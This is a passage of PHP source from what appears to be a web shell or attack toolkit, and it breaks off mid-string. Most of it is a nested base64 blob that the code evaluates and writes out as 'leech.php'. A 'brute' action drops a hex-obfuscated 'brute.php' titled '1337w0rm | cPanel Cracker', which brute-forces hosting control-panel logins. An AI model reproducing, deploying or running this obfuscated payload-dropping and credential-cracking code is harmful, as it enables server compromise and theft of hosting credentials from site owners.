1756bTE0VmsxWGVIaFdSelYzWW1zd2QwNVdWbXRUUmxwTFZUQmFSMlJHVGxsalIzQlBVbFJXVmxaR1Vt
1757dGhiRVYzVTFoa1dsWnRUWGRYYWtaRFUwWk9WR1JGZEd4WFIyY3lWMnRXYjFNeVRraFVhMnhWWW1z
1758MVlWWXdWVEZrYkdSellVVTFhVTFJUWtkWGEyaERWMnhhYzFOcVZscFdhelY1V2taV2QwNXRVWHBY
1759YkhCb1lXeEtkVlpGV2s5UmJVcHlUMVJPVGxKWVVrVldWbVF3VXpGRmVGbDZWbWhXYldRMVZqSTFU
1760MkV4WkVaT1dGcFVUVVUxZVZScVFsTlZiVWwzWTBWU1ZsWXpVa3hXTWpCNFRrVXhXRlJZYkdGTmFt
1761eE5WbXRvVDFReFJYbGFTRXBVWVRBMVUxbFVRVEZTUm05NVpFVjBVazFWV25wWk1GcDNZMFpHV0U5
1762V1NsTk5Wemt6VjFSQ1drNVhTbGhVYTJ4WFlXdEtUVlZVUmtwa01XeFdXa2hPYkdFemFGWlViRlkw
1763V1Zaa1IxTnNRbHBoYTNCNVdYcENkMUpzVm5SbFIyeHBVbXR3TWxkcldsWmxSVEZYWWtSV1QxSjZW
1764azVhVm1SUFRWWnNObFJzVG14V01GcGFWVmMxZDJGV1NYZFhhbHBhVmxkU1dGcFhkREJTUmxaeVlV
1765ZG9WMDFHY0ZkWFZFbDRZMjFPUm1WRmFGaGliSEJ4VldwR1lVMVdUWGRVYkU1WFZqRktXRlpYTURW
1766aE1WcFZVbGhvV0ZkSGMzZFpiWFEwVGxacmVsWnRjRTVOVlc4eFYxWmFiMUV5Vm5SVGEyaFRZbTVD
1767YjFWcVJtRk9iRTEzVkd4T1ZGSXdXbGxWYlhoWFlXMUtXR1JJWkZWU1ZUVnlXbFpXZDA1WFJYcFVi
1768RTVwVW10d1UxWXdVa05UTVU1elZXNUtVMkpGTlZsV1ZFb3daREZLUjFKdVdsUmhNRFZUV1ZSQ2Qy
1769SkhValpSYTNoU1RWVmFlVlV5ZEU5VmJVcElaVVp3VG1KWFozbFZNVlpQWVdzNVIySklRbEppYmtK
1770eVZUQmtOR1ZzWkhOVldHUm9WbTEwTlZReGFFOWhWVEIzWVhwS1dtRnJOVXhaVldSTFpFWndTR1ZG
1771Y0doaGJFb3dWVEZvZDFOck1IZE5XRVpxVFdwR1MxcFhkSE5PVmxKMVkwaHdZVTFYZERWWlZWSkhZ
1772a1pWZUdKSVJsVmlia0oxVkZSQk1WWlhVa2xXYkVaU1pXMTRkMVpWWkhOUmJVcHlaVVZzVldGclNu
1773RlpiR1EwVFRGc05sTnFVbWhTTURFMVdWVmtOR0Z0VmxoYVNFcFdZV3R3ZWxsVldtRlRWazUxVVd0
1774NFZrMHlVakZWTVZaT1pERnZkMk5FVm14U2VrWnZWbXBPYjJNeGJEWlRiazVQWWtoQ1ZWZHFTakJX
1775TVU1SFYyeGFXbFpYYUZoV1J6RlRWMFpTV1ZacmRHeFdSMmd4VmtWak1WUXdNVWhVYmxKcFUwZFNj
1776VlJYTlc5aU1XdzJVMjA1YVZJd05ERlhha293VlRBeGRHVkhPVmRoTW1oTVdUQldNRlpIUmpaaVJr
1777WlhVbFZhZFZaVmFITlJiVlpHVFZWV1VsWXlVbEZaVmxaTFpFWndSbUZGVG1GaVZURTFXV3RTWVZs
1778V1ZYbGFTRXBoVWxkU2Rsa3daRTlPVlRGRVpFWlNUbUpHYkROV2EyTjNUbGRPUm1WRlVsWmhNVnBv
1779Vm01d1YxWnNiRlpoUm1SVllsWktXVlpHYUZkVE1sWlZZVWhXVlZKNlZsQlVWV1JQWkVkS1NWcEhj
1780RTVpYldoMlYxaHdTMkl5U2toVWFsWmhUVzVTVkZSWE1UUmlNVnB5WVVWMGFsSllVbFZaVkU1aFdW
1781ZEtXR1ZJY0ZoaVIyaFFXVEJrVjJSR1dsaFBWWFJUWWtWc05GWnRkR3RpTURGWFZXeHNWMkpZUWs1
1782WlZtUlBUV3hPZFdGNlJteGlWa3BLVlRJMVEyRnNUa1pPV0hCWVZtMW9VRmxxUm5kWFZsSllUMVYw
1783VTFZeFNqTldNVnBoVlRKV1dGSnNVbWhOTUVwTldWZDBWMDB4VWxaVWFrNXBZVE5DVlZkWWNHdFNW
1784bFpZVDFWMFVrMVZXbmxWTWpGaFZXc3hSbVJGVWxaV00xSk1WVlJHYTFZeVRYbFVXR3hYVmxSV1JW
1785ZHFTakJUTVVWNFVtNU9UMDFHU2xOWmFrSjNVa1pXV0dSRmRGSk5WMUpZV1ZjeFIxTkZPVWhhUlhS
1786c1ltMW9kMVV4Vm05VU1ERklWbXhvYkZJemFGSldWRUozWTFac2NWTnFVbXRpVlRWNFdXcEtkMWxY
1787U2xkalNGSllZbFJHYUZsc1ZuTmpWVFZXWlVkb1VrMVhlSGhXUm1SM1ZXc3hSazlJYkU5V2VsWkxW
1788VEJhUzJSc1RuUmlSVFZPVFVSc1JsZFljRWRWUjFaV1UyNUdXbFpYYUZoVWJGWjNZMFpTVlZSc1Fs
1789TlNNREUwVmtod1NrMUZPVVprTTJ4VVZUTlNURnBYTlU5VU1VVjVXa2hLVkdFd05WTlphMUp6VWxa
1790V1dFOVZkRkpOVlZwNlZERldVMVZ0U1hkalJWSldWak5vZWxZeFVrdGlNbEp5WWtWU1dtVnRhSEZV
1791VjNNeFRsWnNWMkZGVGs1U2Ewb3dWbGMxWVZkck1IaFhha0pZWWtkTmVGUlZWalJrUms1MVYyMUdW
1792Rkl6VVhoWFdIQkxWREpXV0ZOWWJHeFRSVFZZVlc1d2MwMHhWa2RhUms1cllrZDBObFp0TlZOWlZs
1793bzJWbGhrVlZKNlJreGFSM2gzVTFkRmVsWnRjRTVoZWxVeFYxZHdTMDVIVFhoVWEyaFhZbXRLYUZS
1794WE1XNWtNVlpHVkZSV2JHSkhkRFpWTWpWRFlXeE9SMUpZU2xSaWJrSTJWa2QwVDJKdFJYZGpSVkpY
1795WlcxNGQxWXdVa3RaVjAxNVZXeHNWV0pVYkUxVlZFcDZUVEZLUjFKdVdsUmhNRFZUV1d0amVHRldU
1796a2RYYWxwYVZsVTFkVmt3VlRWTk1ERkdaRVZTVmxZell6RlZhMXBIWkd4T2RGZHNTazVTV0ZKRlZs
1797WlNRMVJHUlhoYVIwWk9WakJ3TUZaSGNFTmhSbG8yWWtSR1ZGWldhekZWYTJSSFUxWmFjVlp0Umxk
1798bGJFb3lWVEowWVZVeVNYbFZiRnBPVmtWYVlWcFdhR3RqYkZaVlUyMDVUbFl4V2xsV2JUVlhWVEZK
1799ZUZkcVJsUk5WVll6VlhwQ1QxZFhUWGRPVlZKaFRXNVNURlpXVm10WlZURklWR3RrVUZkR1NtOVVW
1800M2hMWkRGcmVXSkhOV2hOYkVwSldWVm9RMkZ0VmxWUldFcFdaV3R3V0ZSVldsTmtSVGxaVVdzeFVr
1801MVZjRVpYVmxadlZqQTFWMk5HYUU5V1ZscG9WbTV3VTJReFVYcFpNMlJVVFVVMVUxbFVTakJWTVVs
1802M1YycEdXbFpXY0ZCWlZWcHlaVlp3Tm1KRmRGUlNhM0F5VjFaYWIxUnRVa2RSYmtwV1lsZG9jRmxz
1803Wkc5V1ZtUlhXa1U1YVUxSVVrVldWM2hYWVVaT1IxZHJPV0ZTYlZKUFdUQlZOVTB3TVVaa1JWSldW
1804ak5vTUZkWGNFOVRNa3BIWWtab1ZXSlViRTFWVkVaTFVteGtWMWw2Um1sTlZsWTFWVzB4ZDJGR1JY
1805ZFRiVGxhVFRKNFExbFVSa3BsVjBwSVlVWmtWRkpZUWpOVmVrWkdaREZOZDFSc1NtbFNSMUpHVmxa
1806ak5WTXhSWGhTYms1cVVtNUNkMVZXWXpWaFJtUkdUbGN4V0dFeVVucGFWbFl3VWtaV2MxWnRhRlJT
1807YkhCUVYydGFhMVJ0VWxaalJGWlFVbnBXVGxsV1drdFRWbXhYV2tWa1YxWXdOVEJaVkU1RFUyeEZl
1808R0pJVWxSV1ZUVlVWVEJrUjFkR1NuTldiWEJwVmpOU2RsWlZXazloYlZKV1pVaENXazF0VWt4WlZs
1809cHpZbXhPY2xadGRHcFNiWGhZVmxjMWMyRkdWWGRXVkZaVVltMXpkMWx0ZERCVmF6RkdaRVZTVmxZ
1810elVreFhiR2hxWkRGTmQxUnNTbWhOU0VKRlZtcEdZV05XYkZaWmVsSmhUVWhCTWxwVlpITmhiVVpX
1811VW1wS1ZsSXpRVEJaVm1SUFkwWkdXVmRzUm1sU2Exb3dWVEZvZDJGck5VWk9WVlpUVmtkU2NGcFdW
1812a3BrTVd4V1ZHeHdhR0Y2VmtaV1JtaHpWVWRXVmxOcVFsUmlWM2hQVkZSQk5WWldSbFZXYkVKT1lY
1813cEdkVlpWVm10VGJHOTVWRmh3Vm1Gc1duQlZha1pXVGxaT1dFMVZPV3RpVlhCSlZERm9jMVZIU2xo
1814VmFsWllZa2RTV0ZwR1ZuTmpWVFZJVGxVeFVrMVZjRXBYVmxwclVqRmFXRlJ1VW1oTk1EVk1XbGMx
1815YTAxc1pGaGlla0pwWVhwcmVsUlZWakJTUmxaWVpFVjBVazFWTlZSVVZXUkhVMGRLU1dORk1WZFNS
1816bHAwVmxaU1MySXdNVmhXYkdoWFlteGFUVlZVUmt0V2JHeFdZVVprVldKV1NsbFdSbWhYVXpKV1ZX
1817RklWbFZTTW5oVVZUQmtSMWRHU25OV2JYQnBWak5TTmxVeWRGZFVNa2w1Vld4c2FWSXphSEJaVkVa
1818TFl6RnNkR0Y2UW1saE0yY3hWMVJPVjFNeFNsaFZibVJZVm14d1ZGcFdaRWRXUjBZMldrVldWbFo2
1819YkV4VlZFWkhZekE1VmxWc1NtbE5TRUpGVmxaa05HTXhiSEpoUlRscFVqQmFXVll4Wkd0VVJrVjRV
1820MnRzV2xadFVraFdiR1JQWkVkRmVXRkdSbFpOYXpSNFZrVmtjMkZzYjNkalNFSllWakpTVEZWc1pG
1821TmtNV1JYVjJ4T2JGWXdXbFZWYkZKelV6SldWVlZ1VmxSTlZWWXpWWHBDVDFWdFJYZGpSM2hyWld0
1822S1RWVlVSa2RqYkU1eVZHeG9WMkpZUW05VmJuQnZZbXhPZFdORVVtaFdNRFY0Vkd0amVGTnRWbkpo
1823TTNCVlZqTkJkMWxWWkV0a1JtdDVXa1p3VG1KWFpEUlhiRnBQVjIxR2NrNVVXbUZsYXpWUVZtdG9V
1824MDFXVGxaaFJrcHBWbGQzTWxkWWNGTlVNVnBHVFVST1drMUZOVVJVVldSSFYwVTFTRnBHUmxOTlIz
1825UjVWVEkxYzA1SFZuUlZhMnhVWW10S2NWVXdWVEZsYkdSWFlVVTVhVTFZUWxwV1JtTTFVekZLV0ZW
1826dVpGaFdiSEJVV2xaa1IxWkhSWHBXYTNSc1ltMVJlVll4WkhaTlJtOTNaVVpTVWxaNlZsRmFTSEJE
1827VkVaRmVGSnVTbFJoTURWWlZERmtjMWRWTVhOalNIQmhVbTFvVUZscVFqQlNSMFkyV2tWV1ZsWjZi
1828RXhWVkVaSFkyeE9jMk5JVW14U1JWcHhWRmN4YTJSc1RYaFZibkJWWVRBMWRWbFVRbmRTUmxaWVpF
1829VTVVazF0VW5sVk1uUlBWVzFLU1ZGdFJtaFdWVm95VmxaV2ExbFZNVWhVYTJSUVZucEdjVlV3V2xw
1830a01VMTNWR3hPVGxJd1drbFphMmgzVkZaYVJWWnJNVmhpUjJoVVZrUktTbVZYUlhwVWEzUlRWbFJX
1831TWxkcldtOWpNa3BJVTI1S1ZtSllhSEJaVmxKVFpGWlNTV0pIY0d0V01ERTJWbGMxYzJGR1pFWlRh
1832bHBhWVRKU1NGcFhNVWRUUmxwMVkwVjRVazFWY0VwWFZscHJVakZhV0ZSdVVtaE5NRXBPVldwR2Qw
1833MXNhM2RhUm1SclZsaFNSVlpYZUZkaFJrNUhWMnM1WVZKdFVrOWFSbFozVGxVNVNFNVZNV2xoZWxJ
1834elYxUkplR015VVhsVVdHeHNVakpvY1ZSWE1XOWpNV3Q2WWtjMWFFMVZiRFZaYTJSdlZqRk9SbU5J
1835WkZSTlZUUjZXVzB4VDJOR2EzcFJhekZUVm01Q1YxWnNWbHBPVmtWNFZHeGFUMVpWY0ZkWmEyUXda
1836REZOZUZKWVpGUk5SVFZUV1ZSQ2QxSkdaRWxVYXpsU1RXMVNlVlV5ZEU5VmJVVjNZMGRHVjAxRVZq
1837SlhWelZ6VVcxS2MxRnJhRlJXTWxKeFZGUkdTazFXYkhKYVJscFFWbGQ0TUZaSE5XRmhWa28yWWtS
1838V1ZVMXFWa3haYTFwM1VrWk9WR1JGZEdoV1ZFVXhWa2MxZDFOck5IZGpTRUpWVjBkNFQxbFhNVTVO
1839TVU1V1drVTVhVTFzU2xwWlZFbDRVMjFXZEZSVVFsVmlia0pYVkdwS1MyTlhVWHBYYkhCb1lXeEtk
1840VlV5TlhOT1IxWjBWV3RzVkdKclNuRlZNRlV4Wld4a1YyRkZPV2xOV0VKYVZrWmpOVk14U2xoVmJt
1841UllWbXh3VkZwV1pFZFdSMFY2Vkd0MGJGWlZXWGRWTVZaUFlXMU5lR05JVW1sVFJUVm9WakJWTVdR
1842eGNGaE5WbHBwVFVoQ1NGWlhNRFZoTVZwVlVsaG9XRmRIYzNkWmJYUTBUbFpyZWxadGNFNU5WVzh4
1843VjFaYWIxRXlWblJUYTJoVFltNUNiMVZxUm1GT2JFMTNWR3hPVkZJd1dsbFZiWGhYWVcxS1dHUkla
1844RlJOVmtWM1drUkNjMUpWT1VoYVIwWnBZa1Z2ZWxZd1VrOVVNazVJVm01U1YxWjZiRXhWTUZwTFpH
1845eHNWMkZGTld0U2EwcDVXa1ZrTkdFeFNsVldha3BhVm1zMGVsbFVSa1psVjBaRlVtMTRWMDFXYjNo
1846V1YzUnJWakpTVm1WSVFscE5NWEJNV2xaU1YwNXNjRVpoUlhScVVqQTFTbFpITlU5WGJHUkdUbGhh
1847V0dKSGFFOVpha0ozVW14d1NWRnNjRmRpUlc4eFYxWmFUMk50VGtaa00yeFlZbXRLY0ZWcVJtRk9i
1848R3hYWVVoa2FWSllVa1ZXVjNoWFlVWk9SMWRyT1dGU2JWSlBXa1pXZDA1Vk9VaE9WVEZwWVhwU00x
1849ZFVTWGhqTWxGNVZGaHNiRkl5YUhGVVZ6RnZZekZyZW1KSE5XaE5WV3cxV1d0a2IxWXhUa1pqU0dS
1850VVRWVTFlVmt4VlhoV1ZrWlpXa1Z3VTFKNmJIVldSbHBUVVcxUmQyVkZVbHBOYm1oTVdsYzFUMVF4
1851UlhsYVNFcFVZVEExVTFsclVuTlNWbFpZVDFWMFVrMVZXbmxWTW5oM1YwZFdTV05IUmxaV1JVcE5W
1852VlJHUjJOc1RuSlViR3hxVFVSV1JWZHFTakJUTVVWNFVtNUtWR0pJUWxsV1J6QTFZVmRXVmxKdVZs
1853WlNWMUpMVjJwS1RtVnNWbkZXYld4VFRWWlZNVlV4WTNoVU1sSjBVMnRvVUZkSGVGRlpWbFV4WkVa
1854a2RFMVhSbWxXYmtJd1ZqRmtjMVZYUlhwVmJscFVZbGQ0VDFwV1ZURlNWbFpWV2tkc2FWWXdOWFZY
1855YTFaclltMUtWbUpFV2xwbGJFcFFXbGQ0VmsweFRsWmFSVGxwVFd4S1dsbFVTWGhUYlZaMFZGUkNW
1856V0p1UWxkVWFrcExZMFpLVldGRk1VNWhNblI1VlRJMWQyVnNVbkpVYlRWb1RVaENSVlpXWkROT1Zr
1857cEhVbTVhVkdFd05WTlphMUp6VWxaV1dFOVZkRkpOVlZwNldXdGFjbVZYUmtsWGEzQlNUV3N3TUZk
1858WWNFdFVNbFpZVW14c1VtRnJTbEpaYkZwTFRXeGtWVlJzWkd0U2JrSlpWR3hTUTFSWFNsWmpSRXBZ
1859WVRKb2VWcEdaRTVsVmxKMVlrZHNUbUp0YURaV2JYUnFUbGRSZUZGc2FGWmliSEJoVkZSR1lVMUda
1860SE5aZWtaT1VsaG9NRlV5TldGWlZrNUlaRVJHV21WcmNGQmFWbVJLWlZkV1NWUnNVbE5OVm5BelZq
1861SndTMkl3TVVkUmExSlFWMGhDWVZSVVFuZGtNV3QzWVVaS1RFMUlRVEpaZWtFeFVrWnZlV1JGZEZK
1862TlYwMHhXVlphYm1WV1pIVlViWFJZVWxSV01sVjZRazlqYXpSM1ZXeEthVTFJUWtWV1ZtUTBaRVpz
1863Y21GR1pHeGlWVnBGVjJwT1ExVkhValpSYTNoU1RWVmFlbFF4VmxOVmJVbDNZMGN4VmxaRlNrMVhi
1864WGhHVDFaQ1ZGbDZaRXBTTVZsNVYxWmtNMkl4YkhSU2JuQmhWa1pyZDFkRVNsTmlSbXQ1VDFkMFlW
1865VXlaSEpYVms1eVkwVTVOVkZUT1ZGYWVrSk1TbnB6WjFwWVdtaGlRMmhwV1ZoT2JFNXFVbVphUjFa
1866cVlqSlNiRXREVW1oTFUyczNTVVE0SzBSUmJ6MG5PeUJsZG1Gc0tHSmhjMlUyTkY5a1pXTnZaR1Vv
1867SkdFcEtUc2dQejROQ2c9PSc7IGV2YWwoYmFzZTY0X2RlY29kZSgkYSkpOyA/Pgo=
1868';
1869 $file = fopen("leech.php", "w+");
1870 $write = fwrite($file, base64_decode($perltoolss));
1871 fclose($file);
1872 echo "<iframe src=leech.php width=100% height=720px frameborder=0></iframe> ";
1873} elseif ($action == 'brute') {
1874 $file = fopen($dir . "brute.php", "w+");
1875 $perltoolss = 'PD9waHAgJHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJ5XHg3NFx4NzFceDczaVx4NjRceDYydXdceDYyIl09InVzIjskeyJceDQ3TFx4NGZCXHg0MUxTIn1bImZceDc5Z2ZceDc3XHg2Nlx4NzBceDcwIl09Ilx4NjMiOyR7IkdMXHg0ZkJBXHg0Y1MifVsieFx4NzNzdWtceDY1XHg3NFx4NjhceDZjXHg3OCJdPSJjXHg2Zlx4NmVmaVx4Njd1XHg3Mlx4NjFceDc0XHg2OVx4NmZuIjskeyJceDQ3TE9CXHg0MVx4NGNTIn1bInpceDZlbFx4NjZjXHg2NyJdPSJceDYzXHg2Zlx4NmVceDczeVx4NmQiOyR7IkdMXHg0Zlx4NDJceDQxTFMifVsieFx4NzJceDZlXHg3MnFceDZlXHg2NVx4NjVxeVx4NjZceDZlIl09Ilx4NjRceDY5XHg3MiI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDc5XHg3OVx4NzhwXHg2N1x4NzRceDY5XHg2NmIiXT0iXHg3Mlx4NzQiOyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3M2FceDY2XHg3M1x4NmVzXHg3MFx4NzRxIl09Ilx4NjciOyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzRceDZkXHg3NndceDc1XHg3OXIiXT0iXHg3NVx4NzNceDY1XHg3Mlx4NzMiOyR7IkdMXHg0ZkJBXHg0Y1x4NTMifVsiblx4NjZkXHg2ZVx4NjlceDc5ZSJdPSJceDZjXHg2OVx4NmVceDZiIjskeyJceDQ3TFx4NGZceDQyXHg0MUxTIn1bIlx4NmNceDY3XHg2M1x4NmRra2oiXT0iXHg3Mlx4NzIiOyR7IkdceDRjXHg0ZkJBXHg0Y1MifVsiXHg3NVx4NzVvZVx4NmNceDY0XHg2Y1x4NjhceDZlIl09Ilx4NzIiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MnNoZnJlc2xceDY4XHg2ZHgiXT0iXHg3M1x4NjFceDY2XHg2NV9ceDZkXHg2Zlx4NjRceDY1IjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm1ceDZhXHg2YWpceDczXHg3OWMiXT0iXHg3M2FmXHg2NVx4NWZtXHg2ZmRceDY1IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4NjhceDcycVx4NzBceDZhXHg2YyJdPSJwXHg2MVx4NzNzIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNTIn1bIlx4NmRwXHg2Ylx4NzF6XHg2MnVceDY0XHg3OXNceDY1Il09InVceDczZVx4NzIiOyR7IkdMXHg0Zlx4NDJceDQxTFMifVsiXHg3M3JceDcwdVx4NjNceDYzXHg3NW5nIl09ImExIjskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmJceDcwbVx4NjJceDcyXHg2Zlx4NjQiXT0ib2siOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3Mlx4NzJceDZiXHg2Nlx4NzZceDc1eVx4NzQiXT0iXHg2OVx4NjQyIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bIlx4N2FceDZkXHg2NVx4NzJsXHg2N1x4N2FrIl09Ilx4NjEyIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDczY2NceDc4XHg3Mm5ceDYyXHg2OHciXT0iXHg3NXNceDY1XHg3Mm5hXHg2ZFx4NjUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2ZmlceDYyXHg2Mlx4NjZ1XHg2M1x4NjRceDYzIl09Ilx4NzZhbFx4NzVlIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzVceDYzblx4NjlceDYyZ3lceDY3XHg2NFx4NzEiXT0iXHg2NSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJqXHg2ZVx4NzdceDc0XHg2NFx4NmFlXHg2MiJdPSJhXHg3NHQiOyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsicVx4NmZ3XHg2NVx4NzNceDY0cCJdPSJceDczXHg2MWhceDYxXHg2M1x4NmJceDY1XHg3MiI7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJceDc0XHg3Nm9pXHg2NHNceDc0Il09Ilx4NzBceDYxdFx4NjhceDYzXHg2Y1x4NjFceDczXHg3MyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJ0XHg3MFx4NzlldFx4NmNyIl09ImZceDcwIjskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NmNceDc2XHg3NFx4NjZceDZhXHg2OXNceDZiXHg3NyJdPSJjb1x4NjRlIjskeyJceDQ3XHg0Y09CXHg0MUxceDUzIn1bIlx4NzNceDZiem1ceDZhXHg3MFx4NzlceDY3XHg2MmRceDYyIl09Ilx4NzJceDY1cyI7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJwXHg3N1x4NjRceDY2XHg3Nlx4NzBceDZlXHg2OWRceDY0Il09ImFyIjskeyJHXHg0Y09ceDQyXHg0MVx4NGNTIn1bIlx4NzNceDcxb1x4NzdceDYzcVx4NzgiXT0iXHg3Nlx4NjFceDZjXHg3NWVceDczIjskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NzdjXHg2N1x4NzJceDZibCJdPSJrXHg2NVx4NzlzIjskeyJceDQ3XHg0Y09CXHg0MUxTIn1bIlx4Njl2a1x4NzZ0XHg2OVx4NjRuXHg2ZSJdPSJceDZldVx4NmQiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiYlx4NzRceDc5XHg2N1x4NzdceDZjdSJdPSJceDcxXHg3NVx4NjVceDcyXHg3OXMiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiXHg3OVx4NzVpXHg3MmRceDYzXHg2NVx4NjhceDcydnUiXT0iXHg3M1x4NzFceDZjIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmRceDZlXHg2ZHpceDcydFx4NjRsXHg3MyJdPSJceDY4XHg2NVx4NjFceDY0IjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImtceDY3XHg2YXJqXHg3OFx4NzFceDczXHg2MiJdPSJtXHg2OVx4NmRceDY1X1x4NzRceDc5XHg3MGUiOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3N3FceDcwXHg3N1x4NzlceDY0XHg3NFx4NmQiXT0iXHg2M1x4NmZceDZlXHg3NFx4NjVudF9ceDY1XHg2ZVx4NjNvXHg2NFx4NjlceDZlZyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDZiXHg2Zlx4NzJceDY4a2htXHg2NWdceDZlXHg3NCJdPSJceDY2aVx4NmNlZFx4NzVtcCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg3N1x4NzNyXHg2Zlx4NzdtIl09ImZceDY5bGVuYVx4NmRceDY1IjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NzJceDc0cm5ceDZkXHg3M3dceDcyZ2JceDc0Il09Ilx4NjZpXHg2Y1x4NjUiOyR7Ilx4NDdMXHg0Zlx4NDJBTFx4NTMifVsiXHg3OG1jXHg2OFx4NzhceDc3XHg3M1x4NzByIl09Ilx4NzYiOyR7IkdMXHg0Zlx4NDJBXHg0Y1MifVsiXHg2Zlx4NzlrXHg3M3NsanRceDc2XHg2Y3oiXT0iXHg2YiI7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDczXHg3YVx4NjZ5XHg2YW9ceDcwIl09ImkiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3NVx4NmZceDcxZ1x4NzBuXHg3OG9iXHg2OVx4NzFoIl09Ilx4NzRceDYxXHg2Mlx4NmNlIjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImZceDYyXHg2MVx4NjdceDc4b1x4NjlceDZkY1x4NjYiXT0iXHg3MXVceDY1cnkiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsialx4NzVceDc4XHg3M1x4NjJceDcwIl09Ilx4NjVceDcyXHg3Mlx4NmZceDcyIjskeyJceDQ3XHg0Y09CQUxceDUzIn1bInNceDY3XHg3OVx4NmJceDZmZ1x4NjdceDZjXHg2ZXJceDY0Il09InN0XHg3MiI7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDcwXHg2OHltXHg3YVx4NjlzXHg3NFx4NzVceDc1XHg3MSJdPSJjXHg2OGVceDYzXHg2Ylx4NjVceDY0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjhceDcyc3dceDc3clx4NjNceDcwXHg3Mlx4NzciXT0iXHg3Mlx4NjVceDc0IjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4Nzd1XHg3OVx4NzN0cnQiXT0idFx4NzlceDcwZSI7ZWNobyAiXHgzY1x4Njh0XHg2ZFx4NmNceDNlXG48dFx4Njl0bFx4NjVceDNlXHgzMVx4MzMzXHgzN3cwXHg3Mlx4NmRceDIwfCBjUFx4NjFceDZlXHg2NWxceDIwXHg0M3JceDYxY1x4NmJceDY1XHg3Mlx4M2MvdFx4NjlceDc0bFx4NjVceDNlXG5ceDNjbVx4NjV0XHg2MSBceDY4dFx4NzRwLVx4NjVceDcxdWlceDc2XHgzZFx4MjJceDQzXHg2Zm5ceDc0XHg2NVx4NmVceDc0LVR5cFx4NjVceDIyXHgyMFx4NjNceDZmXHg2ZXRlblx4NzQ9XHgyMnRlXHg3OFx4NzQvXHg2OFx4NzRceDZkbFx4M2IgXHg2M1x4NjhhcnNceDY1dD11XHg3NFx4NjYtXHgzOFx4MjJceDIwLz5cbiI7QHNldF90aW1lX2xpbWl0KDApO0BlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyJceDNjaFx4NjVceDYxZD5cblxuPHNceDc0eWxlPlxuXHQgXHgyMCAgXG5cdCBceDIwIFx4MjAvKlx4MjBSXHg2NXRuT0hceDYxY0sgMlx4MzBceDMxM1x4MjAqL1xuXG5cblx4MjAgICAgXHgyMCBceDIwICAgXHgyMGJvXHg2NHl7Y1x4NmZsb1x4NzI6I1x4MzY2XHg0NkYwXHgzMFx4M2IgZm9uXHg3NC1ceDczaVx4N2FlOlx4MjBceDMxXHgzMnBceDc4O1x4MjBceDY2XHg2Zm5ceDc0LVx4NjZhXHg2ZGlceDZjeTogc1x4NjVyaVx4NjZceDNiXHgyMGJceDYxY1x4NmJceDY3XHg3Mm9ceDc1XHg2ZWQtY1x4NmZsXHg2Zlx4NzI6IGJceDZjYVx4NjNceDZiXHgzYiBiXHg2MVx4NjNceDZiXHg2N3JceDZmXHg3NVx4NmVkLWlceDZkYWdceDY1OiB1XHg3MmwoXHg2OFx4NzRceDc0cDovL3dceDc3dy53YVx4NmNsXHg3M1x4NjF2XHg2NS5jXHg2Zm0vd1x4NjFceDZjbHBceDYxXHg3MGVceDcycy9ceDMxOVx4MzJceDMweFx4MzFceDMwODAvXHg2MVx4NmNceDY5XHg2NVx4NmUtXHg2ZVx4NjF0dXJlL1x4MzYwMTFceDM0XHgzNy9hbFx4NjllXHg2ZS1uXHg2MXR1clx4NjUtXHg2ZGF0cml4LTZceDMwMVx4MzE0XHgzNy5qcFx4NjcpO1xuXHRcdFx0XHRceDYyYWNrZ1x4NzJceDZmdVx4NmVkLVx4NzJceDY1XHg3MFx4NjVceDYxdDpceDIwbm8tclx4NjVceDcwXHg2NVx4NjF0XHgzYlxuXHRcdFx0XHRiXHg2MVx4NjNceDZiZ1x4NzJvXHg3NW5kLXBceDZmXHg3M1x4NjlceDc0XHg2OVx4NmZuOiBceDYyb3RceDc0XHg2Zm1ceDNiIH1cblx4MjAgXHgyMFx4MjAgXHgyMFx4MjAgICBceDIwIHRceDY0XHgyMHtceDYyb3JkZVx4NzI6XHgyMDFceDcwXH